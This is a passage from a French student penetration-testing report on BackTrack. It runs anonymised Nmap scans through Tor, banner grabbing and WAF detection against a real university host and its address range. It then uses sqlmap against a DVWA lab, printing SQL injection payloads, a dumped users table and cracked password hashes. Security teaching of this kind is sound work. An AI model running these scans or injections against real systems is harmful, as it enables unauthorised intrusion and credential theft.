c l o s e d domain
80/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6
110/ t c p
c l o s e d pop3
113/ t c p
closed ident
143/ t c p
c l o s e d imap
443/ t c p
closed https
873/ t c p
closed rsync
993/ t c p
c l o s e d imaps
995/ t c p
c l o s e d pop3s
1935/ t c p c l o s e d rtmp
2401/ t c p open
http
Apache h t t p d 2 . 2 . 1 6 ( ( Debian ) )
5999/ t c p open
http
Apache h t t p d 2 . 2 . 1 6
S e r v i c e I n f o : H o s t : s w i f t . p r i s m . u v s q . f r ; OS : L i n u x ; CPE : c p e : / o : l i n u x : k e r n e l
S e r v i c e d e t e c t i o n p e r fo r m e d . P l e a s e r e p o r t any i n c o r r e c t r e s u l t s
Nmap done : 1 I P a d d r e s s ( 1 h o s t up ) s c a n n e d i n 5 1 . 8 3 s e c o n d s
at
h t t p : / / nmap . o r g / s u b m i t / .
La limitation de cette méthode est que Tor anonymise seulement les paquets TCP, rien de plus, donc pour préserver
notre anonymat il faut utiliser l’option -Pn pour désactiver l’envoie par défaut des paquets ICMP pour découvrir si
l’hôte est actif, et l’option -n pour ne pas faire la résolution DNS inverse, qui pourrait envoyer des paquets UDP. On
voit qu’on a les mêmes résultats comme avant, mais en plus on voit que proxychains a fonctionné bien (les lignes
—S-chain—). On a utilise l’option –version-all pour faire tous les tests, même les plus agressifs, pour découvrir les
services et leurs versions, parce que le risque d’être détecté par un pare-feu n’existe plus.
Banner grabbing
La méthode de récupération de bannières applicatives (banner grabbing) est souvent utilisé pour trouver la version
des systèmes d’exploitation ou des services réseau actifs sur les serveurs HTTP, SMTP, SSH, FTP, etc.
HTTSquash
HTTSquash est un outil minimale pour faire les banner grabbing des serveurs Web. On a déjà vu les versions du
serveurs HTTP trouvés avec Nmap sur la machine 193.51.25.208, mais il vaut mieux vérifier avec HTTSquash pour
voir quels sont les en-têtes HTTP en fait.
Dans l’exemple suivant on voit que cette fois les serveurs sur les ports 80 et 5999 disent qu’ils utilisent Happstack/6.0.3,
tandis que avec Nmap on a obtenu Apache 2.2.16 :
COLLECTE D’INFORMATIONS
page 21 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# . / h t t s q u a s h −r s w i f t . prism . u v s q . f r −p 80
FOUND : 1 9 3 . 5 1 . 2 5 . 2 0 8 80
HTTP / 1 . 1 200 OK
D a t e : Sun , 06 May 2012 0 8 : 4 6 : 5 3 GMT
Se rv er : Happstack /6.0.3
C o n t e n t −T yp e : t e x t / h t m l ; c h a r s e t =u t f −8
V a r y : A c c e p t −E n c o d i n g
T r a n s f e r −E n c o d i n g : c h u n k e d
r o o t @ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# . / h t t s q u a s h −r s w i f t . prism . u v s q . f r −p 2401
FOUND : 1 9 3 . 5 1 . 2 5 . 2 0 8 2401
HTTP / 1 . 1 302 Fo u n d
D a t e : Sun , 06 May 2012 0 8 : 4 6 : 4 9 GMT
S e r v e r : Apache / 2 . 2 . 1 6 ( Debian )
L o c a t i o n : h t t p s : / / c a s −d e v . u v s q . f r / l o g i n ? s e r v i c e =h t t p %3a%2 f %2 f s w i f t . p r i s m . u v s q . f r %3a 2 4 0 1%2 f
V a r y : A c c e p t −E n c o d i n g
C o n t e n t −L e n g t h : 345
C o n t e n t −T yp e : t e x t / h t m l ; c h a r s e t =i s o −8859−1
r o o t @ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# . / h t t s q u a s h −r s w i f t . prism . u v s q . f r −p 5999
FOUND : 1 9 3 . 5 1 . 2 5 . 2 0 8 5999
HTTP / 1 . 1 200 OK
D a t e : Sun , 06 May 2012 0 8 : 4 6 : 5 1 GMT
Se rv er : Happstack /6.0.3
C o n t e n t −T yp e : t e x t / h t m l ; c h a r s e t =u t f −8
V a r y : A c c e p t −E n c o d i n g
T r a n s f e r −E n c o d i n g : c h u n k e d
Avec HTTSquash on peut aussi scanner une plage d’adresses IP pour voir quels type de serveurs Web sont utilisés ;
donc, sur la liste des adresses IP trouvée au début avec Nmap on exécute :
r o o t @ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# . / h t t s q u a s h −r 1 9 3 .5 1 .2 5 .1 − 2 5 4 −p 80
FOUND : 1 9 3 . 5 1 . 2 5 . 1 5 80
HTTP / 1 . 1 200 OK
Ca ch e − c o n t r o l : no−c a c h e
C o n t e n t −T yp e : a p p l i c a t i o n / o c t e t −s t r e a m
HTTP / 1 . 0 200 OK
Connection : c lo se
C o n t e n t −L e n g t h : 181
C o n t e n t −T yp e : t e x t / h t m l
[...]
FOUND : 1 9 3 . 5 1 . 2 5 . 1 0 4 80
HTTP / 1 . 1 200 OK
D a t e : Sun , 06 May 2012 0 8 : 5 4 : 3 3 GMT
S e r v e r : A p a c h e / 2 . 2 . 1 1 ( D e b i a n ) DAV/2 SVN / 1 . 5 . 6 PHP/ 5 . 2 . 9 − 4 w i t h S u h o s i n −P a t c h
L a s t −M o d i f i e d : F r i , 13 Mar 2009 1 5 : 1 7 : 0 0 GMT
ETag : ” 4 ba63 −13 −46501979 f 1 3 0 0 ”
A c c e p t −R a n g e s : b y t e s
C o n t e n t −L e n g t h : 19
C o n t e n t −T yp e : t e x t / h t m l
m o d s s l / 2 . 2 . 1 1 OpenSSL / 0 . 9 . 8 k
[...]
Détection de Web Application Firewall (WAF)
Alors que les pare-feu sur une machine ne filtrent le trafic de réseau qu’en se basant sur un ensemble de règles fixes, sans
analyser le contenu des paquets, les pare-feu pour les application Web fonctionne à un niveau supérieur, et peuvent
analyser les requêtes HTTP reçues - pour accepter seulement ceux qui ne correspondent pas aux attaques XSS ou SQL
injection par exemple, peuvent détecter un balayage de ports qui précède une attaque et enregistrer même le contenu
des requêtes reçus etc. À l’heure actuelle un pare-feu d’application Web peut être déployé sur un serveur Web, intégré
dans l’application, ou sur un proxy inverse qui gére une plage des serveurs Web. Il existe aussi l’option d’installer
un tel pare-feu distribué, ils sont appelées dWAF, ≪distributed WAF≫ et ils consistent de plusieurs composants qui
peuvent exister dans les différentes regions d’un réseau, ou d’utiliser un service ≪cloud≫ - plusieurs entreprises mettent
à disposition des WAF virtuels, ≪cloud-based WAFs≫, dont la seule modification pour le client est d’acheminer leur
trafic vers les serveurs de l’entreprise.
waffit
Sous Backtrack 5 il existe plusieurs outils pour la détection des pare-feu, mais pour les pare-feu d’applications Web on
COLLECTE D’INFORMATIONS
page 22 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
va utiliser waffit. En l’exécutant avec option -l il peut nous dire quels sont les WAFs dont il supporte la détection, et
on trouve les noms bien-connus comme ModSecurity, Imperva etc. Si on l’exécute en ciblant le site d’avant, qui nous
a donne de différents résultats pour son serveur Web, on voit qu’il et protégé par un WAF :
r o o t @ b t : / p e n t e s t / web / w a f f i t# . / wafw00f . py h t t p : / / s w i f t . prism . u v s q . f r
[...]
Checking http :// s w i f t . prism . uvsq . f r
Generic Detection r e s u l t s :
The s i t e h t t p : / / s w i f t . p r i s m . u v s q . f r s e e m s t o b e b e h i n d a WAF
R e a s o n : The s e r v e r h e a d e r i s d i f f e r e n t when a n a t t a c k i s d e t e c t e d .
The s e r v e r h e a d e r f o r a n o r m a l r e s p o n s e i s ” Happstack / 6 . 0 . 3 ” , while t h e
a t t a c k i s ” Apache / 2 . 2 . 1 6 ( Debian ) . ” ,
Number o f r e q u e s t s : 10
COLLECTE D’INFORMATIONS
server
header a response
t o an
page 23 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
Identification des vulnérabilités
La deuxième partie principale de notre méthodologie concerne l’identification des vulnérabilités en utilisant les informations trouvées jusqu’à maintenant. Nous allons utiliser les outils présents dans Backtrack pour voir comment
on peut scanner et identifier les failles de manière automatique. On va effectuer les tests sur la Damn Vulnerable
Web Application (DVWA) disponible dans le cadre de notre laboratoire de test, pour mettre en évidence les plus
importantes failles de sécurité des applications Web.
Nmap
Premièrement il faut exploiter les informations déjà trouvées : on a identifié quelques services avec Nmap dans la
section de reconnaissance active, le pas suivant est de vérifier quelles sont les vulnérabilités pour leurs versions ; par
exemple, on a vu qu’on a un serveur Apache 2.2.16 sur le port 2401 du serveur 193.51.25.208 (swift.prism.uvsq.fr), donc
une simple recherche avec Google pour cette version nous va montrer que les developpeurs d’Apache on fait une page
avec les vulnérabilités pour les versions de leur serveur : http://httpd.apache.org/security/vulnerabilities_
22.html. Une faille d’un service est en générale spécifique pour un certain système d’exploitation, même pour une
certaine architecture de la machine, il est donc conseillé de trouver toutes ces informations pour avoir plus de chances
de trouver une vraie faille ou ≪exploit≫.
Pour faire l’identification des failles de sécurité d’une application Web, il faut d’abord trouver la cible de nos tests.
On démarre la machine Backtrack et la machine DVWA avec VirtualBox et dans Backtrack on s’assure qu’elle est en
ligne en faisant un scan d’identificaton d’hôtes actifs avec Nmap :
r o o t @ b t : ˜# nmap −sn −oG − 1 9 2 . 1 6 8 . 1 . 0 / 2 4
# Nmap 5 .6 1TEST4 scan i n i t i a t e d Sun May 6 1 4 : 5 7 : 4 8 2012 as : nmap −sn −oG − 1 9 2 . 1 6 8 . 1 . 0 / 2 4
H o s t : 1 9 2 . 1 6 8 . 1 . 2 ( t h e G o a t . x x x ) S t a t u s : Up
H o s t : 1 9 2 . 1 6 8 . 1 . 3 ( m e p h i s t o −l a p t o p . home )
S t a t u s : Up
H o s t : 1 9 2 . 1 6 8 . 1 . 4 ( dvwa . home )
S t a t u s : Up
H o s t : 1 9 2 . 1 6 8 . 1 . 2 5 4 ( g e s t i o n b b o x . l a n . home )
S t a t u s : Up
# Nmap done a t Sun May 6 1 4 : 5 7 : 5 0 2012 −− 256 IP a d d r e s s e s (4 h o s t s up ) scanned i n 2 .5 3 s e c o nd s
La machine 192.168.1.4 (dvwa.home) est en ligne. Avec Nmap on fait un scan de type TCP SYN pour voir si le serveur
Apache est disponible sur cette machine :
r o o t @ b t : ˜# nmap −T4 −−open 1 9 2 . 1 6 8 . 1 . 4
S t a r t i n g Nmap 5 . 6 1 TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−06 1 5 : 0 4 CEST
Nmap s c a n r e p o r t f o r dvwa . home ( 1 9 2 . 1 6 8 . 1 . 4 )
H o s t i s up ( 0 . 0 0 0 7 2 s l a t e n c y ) .
N o t s h o w n : 995 c l o s e d p o r t s
PORT
STATE SERVICE
21/ t c p
open
ftp
22/ t c p
open
ssh
80/ t c p
open
http
443/ t c p
open
https
3306/ t c p open
mysql
MAC A d d r e s s : 0 8 : 0 0 : 2 7 : B2 : 1 6 : 0 A ( Cadmus C o m p u t e r S y s t e m s )
Nmap done : 1 I P
a d d r e s s ( 1 h o s t up ) s c a n n e d
in
0.49
seconds
Avec l’option open Nmap nous montre seulement les ports ouverts. Le serveur HTTP est disponible sur le port 80,
donc on ouvre une fenêtre dans un navigateur comme Firefox sous Backtrack et on accède l’adresse : 192.168.1.4 :80.
L’application DVWA est disponible, mais avant de se connecter sur la première page, comme montré dans la section
DVWA - Damn Vulnerable Web Application, on va utiliser un proxy d’interception.
IDENTIFICATION DES VULNÉRABILITÉS
page 24 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
Proxy d’interception
Un proxy d’interception est un logiciel qui constitue un intermédiaire entre le navigateur Web et la connexion vers un
réseaux cible. Les connexions établies par le navigateur sont redirigés à travers le proxy permettant d’avoir le contrôle
total sur le trafic des requêtes : on peut manipuler les requêtes HTTP avant qu’elles ne soient envoyées au serveur
Web, on peut modifier une requête et la répéter avec des valeurs des champs modifiés, on peut comparer deux réponses
du serveur pour voir les différences suite à deux requêtes presque identiques, et ainsi de suite.
Burp Suite - Proxy
Burp Suite est un outil dans Backtrack qui offre un proxy d’interception utile pour les tests de sécurité des applications
Web. Ce proxy permet d’intercepter le trafic HTTP/HTTPS dans les deux directions, d’analyser tout type de contenu,
de modifier des requêtes et de les renvoyer (manuellement ou automatiquement en définissant). Le proxy Burp peut
être utilisé pour effectuer des interceptions de cookie, ou des attaques comme les injections SQL et les détournement
de session. Il existe une documentation détaillé sur le site officiel : http://www.portswigger.net/burp/help/proxy.
html
Ce qui est important en premier lieu, pour les tests qu’on effectue sur DVWA c’est de capturer les cookies générés.
En effet, l’application demande un login/mot de passe pour y avoir l’accès. C’est donc dans cette perspective qu’il est
utile de se connecter à travers le proxy Burp à l’application DVWA afin d’intercepter ces cookies pour les réutiliser
dans nos tests plus tard.
Il existe deux modes spécifiques à Burp :
– L’interception à ≪on≫ : Burp Suite attend une action sur la requête à envoyer : ≪forward≫, ≪drop≫, action particulières (envoie vers le répéteur, scanner, etc.). C’est très utile si on veut par exemple modifier une requête avant
de l’envoyer pour tester.
– L’interception à ≪off≫ : Burp Suite va capturer le trafic en mode passif, c’est-à-dire qu’aucune action n’est demandée
à l’utilisateur.
D’abord avant de se connecter à travers le proxy Burp, il faudra régler le navigateur Mozilla pour qu’il utilise notre
proxy en spécifiant l’adresse 127.0.0.1 et le port 8080 (le port par défaut de Burp Suite) dans le menu ”Edit > Preferences -> Advanced -> Network -> Settings -> Manual proxy configuration”. Une fois ces paramétrages
effectués on lance le proxy Burp (en mode interception à ≪off≫), on lance le navigateur et on accède à DVWA avec
les informations admin/password.
Figure 2 – Interception de cookies avec le proxy Burp
IDENTIFICATION DES VULNÉRABILITÉS
page 25 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
On remarque dans le tableau l’historique des requêtes envoyées/reçu par le navigateur avec des informations concernant
le serveur cible et le numéro de port, la méthode HTTP, l’URL, si la demande contient les paramètres ou a été modifié
manuellement, le code d’état HTTP de la réponse, la taille de la réponse en octets, le type MIME de la réponse, le
type de fichier de la ressource demandée, le titre de la page HTML, si SSL est utilisé, l’adresse IP distante, les cookies
définis par le serveur, et quand la requête a été envoyé.
En observant les paramètres envoyés par le navigateur au serveur, on extrait le cookie qui nous servira pour les tests.
IDENTIFICATION DES VULNÉRABILITÉS
page 26 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
SQL Injection
L’injection du code est peut-être la plus populaire vulnérabilité sur les sites Web aujourd’hui, étant classifiée comme
le premier risque de sécurité pour les applications Web, selon le classement des risques de sécurité maintenu par
l’organisation OWASP : https://www.owasp.org/index.php/Top_10_2010-Main. L’injection du code SQL fait partie
de cette classe des vulnérabilités (il existe des injection des commandes systèmes, de requêtes LDAP etc.), et elle
consiste de modifier les paramètres d’une requête SQL envoyés au serveur Web, en essayant de faire le serveur exécuter
la requête malformée, qui contient des commandes SQL en plus.
Figure 3 – SQL injection
sqlmap
Dans Backtrack il existe plusieurs outils pour faire les injections, la plupart d’entre eux spécialisés pour un certain
type de serveur SQL (MSSQL, Oracle, MySQL, etc.). sqlmap est un outil complexe qui supporte tous ces types de
base de données et encore plus, et qui connaı̂t plusieurs techniques d’injection SQL.
Avant de faire une injection SQL avec sqlmap, il faut capturer un cookie pour qu’on puisse se connecter à l’application
Web et la scanner. On va utiliser un proxy d’interception, comme montré dans la section précédente. Il faut après
trouver un champ qui est vulnérable à une injection SQL. On le trouve simplement dans le menu ≪SQL Injection≫ du
DVWA et on l’exécute avec la valeur ≪1≫ :
IDENTIFICATION DES VULNÉRABILITÉS
page 27 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
L’application nous montre le nom et prénom d’un utilisateur qui a l’identifiant ≪1≫. Plus important, dans la barre
d’adresses on voit que notre valeur est envoyée avec une méthode GET dans le champ ≪id=1≫. On sauvegarde cette
adresse avec les paramètres GET aussi.
Maintenant qu’on a toutes les informations nécessaires (le cookie capturé et la requête vulnérable), on se connecte à
l’application Web avec sqlmap, afin de voir si on trouve des failles d’injection SQL. On utilise la commande :
r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p# . / sqlmap . py −u ” h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / s q l i /? i d=1&Submit=
Submit ” −−c o o k i e =”PHPSESSID=764 r i 9 h j p o 9 d i h 3 s p h 6 q k a c e i 2 ; s e c u r i t y=low ” −−d b s
[...]
[ 0 0 : 3 5 : 4 2 ] [ INFO ] u s i n g ’ / p e n t e s t / d a t a b a s e / s q l m a p / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 / s e s s i o n ’ a s s e s s i o n f i l e
[ 0 0 : 3 5 : 4 2 ] [ INFO ] t e s t i n g c o n n e c t i o n t o t h e t a r g e t u r l
[ 0 0 : 3 5 : 4 3 ] [ INFO ] t e s t i n g i f t h e u r l i s s t a b l e , wait a f e w s e c o n d s
[ 0 0 : 3 5 : 4 4 ] [ INFO ] u r l i s s t a b l e
[ 0 0 : 3 5 : 4 4 ] [ INFO ] t e s t i n g i f GET p a r a m e t e r ’ i d ’ i s d y n a m i c
[...]
[ 0 0 : 3 5 : 5 6 ] [ INFO ] GET p a r a m e t e r ’ i d ’ i s ’ MySQL UNION q u e r y ( NULL ) − 1 t o 10 c o l u m n s ’ i n j e c t a b l e
GET p a r a m e t e r ’ i d ’ i s v u l n e r a b l e . Do y o u w a n t t o k e e p t e s t i n g t h e o t h e r s ( i f a n y ) ? [ y /N ] y
Nous avons fourni comme options l’URL à exploiter trouvé en-dessus et le cookie nécessaire pour se connecter en
tant que utilisateur à l’application Web. Nous avons également donné l’option –dbs qui va nous montrer les base
de données disponibles sur le serveur MySQL si l’injection à réussit. On voit que sqlmap nous dit qu’il a trouvé un
paramètre vulnérable et nous demande si on veut continuer tester. Normalement nous nous arrêtons ici dans cette
partie d’identification de vulnérabilités, mais à titre d’exemple nous allons continuer pour voir les possibilités de sqlmap
- on a écrit ≪y≫ pour confirmer.
IDENTIFICATION DES VULNÉRABILITÉS
page 28 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
[...]
[ 0 0 : 3 6 : 3 8 ] [ WARNING ] GET p a r a m e t e r ’ S u b m i t ’ i s n o t i n j e c t a b l e
s q l m a p i d e n t i f i e d t h e f o l l o w i n g i n j e c t i o n p o i n t s w i t h a t o t a l o f 153 HTTP( s ) r e q u e s t s :
−−−
P l a c e : GET
Parameter : i d
T yp e : e r r o r −b a s e d
T i t l e : MySQL >= 5 . 0 AND e r r o r −b a s e d − WHERE o r HAVING c l a u s e
P a y l o a d : i d =1 ’ AND ( SELECT 6787 FROM( SELECT COUNT( ∗ ) ,CONCAT ( 0 x 3 a 7 5 6 c 6 e 3 a , ( SELECT ( CASE WHEN ( 6 7 8 7 = 6 7 8 7 )
THEN 1 ELSE 0 END ) ) , 0 x 3 a 6 f 7 9 7 2 3 a , FLOOR(RAND( 0 ) ∗ 2 ) ) x FROM INFORMATION SCHEMA . CHARACTER SETS GROUP
BY x ) a ) AND ’ j T y x ’ = ’ j T y x&S u b m i t=S u b m i t
T yp e : UNION q u e r y
T i t l e : MySQL UNION q u e r y ( NULL ) − 2 c o l u m n s
P a y l o a d : i d =1 ’ UNION ALL SELECT CONCAT ( 0 x 3 a 7 5 6 c 6 e 3 a , 0 x 4 c 4 c 7 a 5 4 4 9 4 b 6 b 7 9 6 4 7 4 , 0 x 3 a 6 f 7 9 7 2 3 a ) , NULL# AND ’
QxTJ’= ’QxTJ&Submit=Submit
T yp e : AND/OR t i m e −b a s e d b l i n d
T i t l e : MySQL > 5 . 0 . 1 1 AND t i m e −b a s e d b l i n d
P a y l o a d : i d =1 ’ AND SLEEP ( 5 ) AND ’ RpVw ’ = ’ RpVw&S u b m i t=S u b m i t
−−−
[00:36:38]
[ INFO ]
t h e b a c k −e n d DBMS i s MySQL
web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 , A p a c h e 2 . 2 . 1 4
b a c k −e n d DBMS : MySQL 5 . 0
[ 0 0 : 3 6 : 3 8 ] [ INFO ] f e t c h i n g d a t a b a s e n a m es
a v a i l a bl e databases [ 6 ] :
[∗] cdcol
[ ∗ ] dvwa
[∗] information schema
[ ∗ ] mysql
[ ∗ ] p h p m ya d m i n
[ ∗ ] test
[00:36:39]
[∗]
[ INFO ]
Fetched
data
logged
to
text
files
under
’/ p e n t e s t / d a t a b a s e / sqlmap / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’
s h u t t i n g down a t 0 0 : 3 6 : 3 9
Le paramètre ≪Submit≫ n’est pas injectable, mais l’injection SQL a été un succès et on observe qu’il existe plusieurs
bases de données, dont la plus intéressante est bien sûr ≪dvwa≫. On exécute à nouveau sqlmap avec deux nouvelles
options, ≪-D≫ pour sélectionner seulement la base de données ≪dvwa≫ et l’option ≪–tables≫ pour voir quels sont les
tables disponibles dans ≪dvwa≫ :
r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p# . / sqlmap . py −u ” h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / s q l i /? i d=1&Submit=
Submit ” −−c o o k i e =”PHPSESSID=764 r i 9 h j p o 9 d i h 3 s p h 6 q k a c e i 2 ; s e c u r i t y=low ” −D dvwa −−t a b l e s
[...]
web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 , A p a c h e 2 . 2 . 1 4
b a c k −e n d DBMS : MySQL 5 . 0
[ 0 0 : 3 7 : 2 5 ] [ INFO ] f e t c h i n g t a b l e s f o r d a t a b a s e : dvwa
D a t a b a s e : dvwa
[2 t a b l e s ]
+−−−−−−−−−−−+
| guestbook |
| users
|
+−−−−−−−−−−−+
[00:37:25]
[∗]
[ INFO ]
Fetched
data
logged
to
text
files
under
’/ p e n t e s t / d a t a b a s e / sqlmap / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’
s h u t t i n g down a t 0 0 : 3 7 : 2 5
La table qu’on cherche est ≪users≫, donc on exécute sqlmap avec l’option
l’option ≪–dump≫ pour enregistrer toute cette table sur le disque :
≪
-T≫ pour sélectionner une seule table et
r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p# . / sqlmap . py −u ” h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / s q l i /? i d=1&Submit=
Submit ” −−c o o k i e =”PHPSESSID=764 r i 9 h j p o 9 d i h 3 s p h 6 q k a c e i 2 ; s e c u r i t y=low ” −D dvwa −T u s e r s −−dump
[...]
web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 ,
b a c k −e n d DBMS : MySQL 5 . 0
[ 0 0 : 3 7 : 5 7 ] [ INFO ] f e t c h i n g c o l u m n s f o r
[ 0 0 : 3 7 : 5 7 ] [ INFO ] f e t c h i n g e n t r i e s f o r
[ 0 0 : 3 7 : 5 7 ] [ INFO ] a n a l y z i n g t a b l e dump
re c o gn ize d p o s s i b l e password hashes in
a t t a c k ? [ Y/ n / q ] Y
Apache 2 . 2 . 1 4
t a b l e ’ u s e r s ’ o n d a t a b a s e ’ dvwa ’
t a b l e ’ u s e r s ’ o n d a t a b a s e ’ dvwa ’
for p o s s i b l e p a s s wo r d h a s h e s
c o l u m n ’ p a s s w o r d ’ . Do y o u w a n t t o
IDENTIFICATION DES VULNÉRABILITÉS
c r a c k th em v i a a d i c t i o n a r y −b a s e d
page 29 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
sqlmap nous a demandé si on veut essayer de craquer les mots de passe avec son propre fichier dictionnaire, on a
accepté et il a réussit aussi, à cause des mots de passe faibles choisis par les utilisateurs.
[ 0 0 : 3 8 : 0 2 ] [ INFO ] u s i n g hash m eth o d ’ m d 5 g e n e r i c p a s s w d ’
w h a t d i c t i o n a r y do y o u w a n t t o u s e ?
[ 1 ] d e f a u l t d i c t i o n a r y f i l e ’/ p e n t e s t / d at a b a se / sqlmap / t x t / w o r d l i s t . txt ’ ( p r e s s
[ 2 ] custom d i c t i o n a r y f i l e
[3 ] f i l e with l i s t of d i ct i o n ar y f i l e s
Enter )
[ 0 0 : 3 8 : 0 8 ] [ INFO ] u s i n g d e f a u l t d i c t i o n a r y
[ 0 0 : 3 8 : 0 8 ] [ INFO ] l o a d i n g d i c t i o n a r y f r o m ’ / p e n t e s t / d a t a b a s e / s q l m a p / t x t / w o r d l i s t . t x t ’
do y o u w a n t t o u s e common p a s s w o r d s u f f i x e s ? ( s l o w ! ) [ y /N ] y
[ 0 0 : 3 8 : 1 3 ] [ INFO ] s t a r t i n g d i c t i o n a r y −b a s e d c r a c k i n g ( m d 5 g e n e r i c p a s s w d )
[ 0 0 : 3 8 : 3 4 ] [ INFO ] c r a c k e d p a s s w o r d ’ a b c 1 2 3 ’ f o r u s e r ’ g o r d o n b ’
[ 0 0 : 3 8 : 4 4 ] [ INFO ] c r a c k e d p a s s w o r d ’ c h a r l e y ’ f o r u s e r ’ 1 3 3 7 ’
[ 0 0 : 3 9 : 0 4 ] [ INFO ] c r a c k e d p a s s w o r d ’ l e t m e i n ’ f o r u s e r ’ p a b l o ’
[ 0 0 : 3 9 : 1 4 ] [ INFO ] c r a c k e d p a s s w o r d ’ p a s s w o r d ’ f o r u s e r ’ a d m i n ’
[ 0 0 : 3 9 : 1 4 ] [ INFO ] p o s t p r o c e s s i n g t a b l e dump
D a t a b a s e : dvwa
Table : u se rs
[5 e n t r i e s ]
+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−
|
avatar
| f i r s t n a m e | last name | password
|
user
| user id |
+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−
| dvwa / h a c k a b l e / u s e r s / a d m i n . j p g
| admin
| admin
| 5 f4dcc3b5aa765d61d8327deb882cf99 ( password ) |
admin
| 1
|
| dvwa / h a c k a b l e / u s e r s / g o r d o n b . j p g | G o r d o n
| Brown
| e99a18c428cb38d5f26085367 8922e03 ( abc123 )
|
gordonb | 2
|
| dvwa / h a c k a b l e / u s e r s / 1 3 3 7 . j p g
| H a ck
| Me
| 8 d3533d75ae2c3966d7e0d4fcc69216b ( c h a r l e y )
|
1337
| 3
|
| dvwa / h a c k a b l e / u s e r s / p a b l o . j p g
| Pablo
| Picasso
| 0 d107d09f5bbe40cade3de5c71e9e9b7 ( l e t me i n )
|
pablo
| 4
|
| dvwa / h a c k a b l e / u s e r s / s m i t h y . j p g
| Bob
| Smith
| 5 f4dcc3b5aa765d61d8327deb882cf99 ( password ) |
smithy
| 5
|
+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−
[ 0 0 : 3 9 : 1 4 ] [ INFO ] T a b l e ’ dvwa . u s e r s ’ dumped t o CSV f i l e ’ / p e n t e s t / d a t a b a s e / s q l m a p / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 / dump/
dvwa / u s e r s . c s v ’
[ 0 0 : 3 9 : 1 4 ] [ INFO ] F e t c h e d d a t a l o g g e d t o t e x t f i l e s u n d e r ’ / p e n t e s t / d a t a b a s e / s q l m a p / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’
[∗]
s h u t t i n g down a t 0 0 : 3 9 : 1 4
IDENTIFICATION DES VULNÉRABILITÉS
page 30 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
XSS - Cross-site scripting
Le ≪cross-site scripting≫ (abréviation XSS) est l’une de plus fréquentes failles dans les applications Web d’aujourd’hui,
elle en la deuxième position, après les failles d’injection SQL, dans le classement OWASP. XSS est une attaque qui
cible le client d’un site, et pas ses serveurs Web, dans une première phase. À la base, il consiste de l’injection du code
de l’adversaire dans une page d’un site, qui sera ensuite accédé par la victime.
Figure 4 – XSS non permanent
Comme on peut observer dans la figure, l’adversaire doit d’abord trouver un moyen pour injecter du code dans une
page qu’il reçoit d’un site, donc il doit chercher des pages du site qui lui envoyent les données qu’il a écrit sur la page.
Par exemple, beaucoup de sites offrent des pages de recherche de documents sur leur site, et souvent elles affichent
aussi la chaı̂ne de caractères que l’utilisateur a introduit. Si cette chaı̂ne n’est pas bien filtrée avant d’être affiché sur
la page, l’adversaire peut introduire du code Javascript qui sera exécuté une fois que la page a été téléchargé par
son navigateur. Mais l’insertion du code dans ses propres pages ne l’aide pas beaucoup, donc l’adversaire va chercher
de convaincre une victime de visiter sa page modifiée, par les moyens de l’ingénierie sociale, en se basant sur les
informations qu’il a sur la victime. Quand la victime visitera la page, le code Javascript s’exécutera et, par exemple,
l’adversaire peut récupérer le cookie du client sur le site et usurper son identité. L’attaque décrite ici s’appelle le ≪XSS
non permanent≫ ou ≪reflété≫.
Il existe un autre moyen de profiter de failles XSS trouvées sur un site, dont le code sera inclus de façon permanente
dans le site. Si le filtrage des données affichées aux clients n’est pas bien fait, le code malveillant peut être stocké dans
la base de données du site et peut affecter tous les clients qui vont voir ces données dans les pages du site.
Par exemple, beaucoup des sites offrent une section de commentaires des articles publiés. Si l’adversaire arrive à injecter
du code dans un commentaire, tous les clients qui vont voir cette page vont exécuter le code dans leur navigateur Web.
Cette attaque, appelé ≪XSS permanent≫ ou ≪stocké≫, et encore plus dangereux que le précédent, puisque l’adversaire
n’a même pas besoin de convaincre un client de visiter la page, et tous les clients vont être directement affectés.
IDENTIFICATION DES VULNÉRABILITÉS
page 31 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
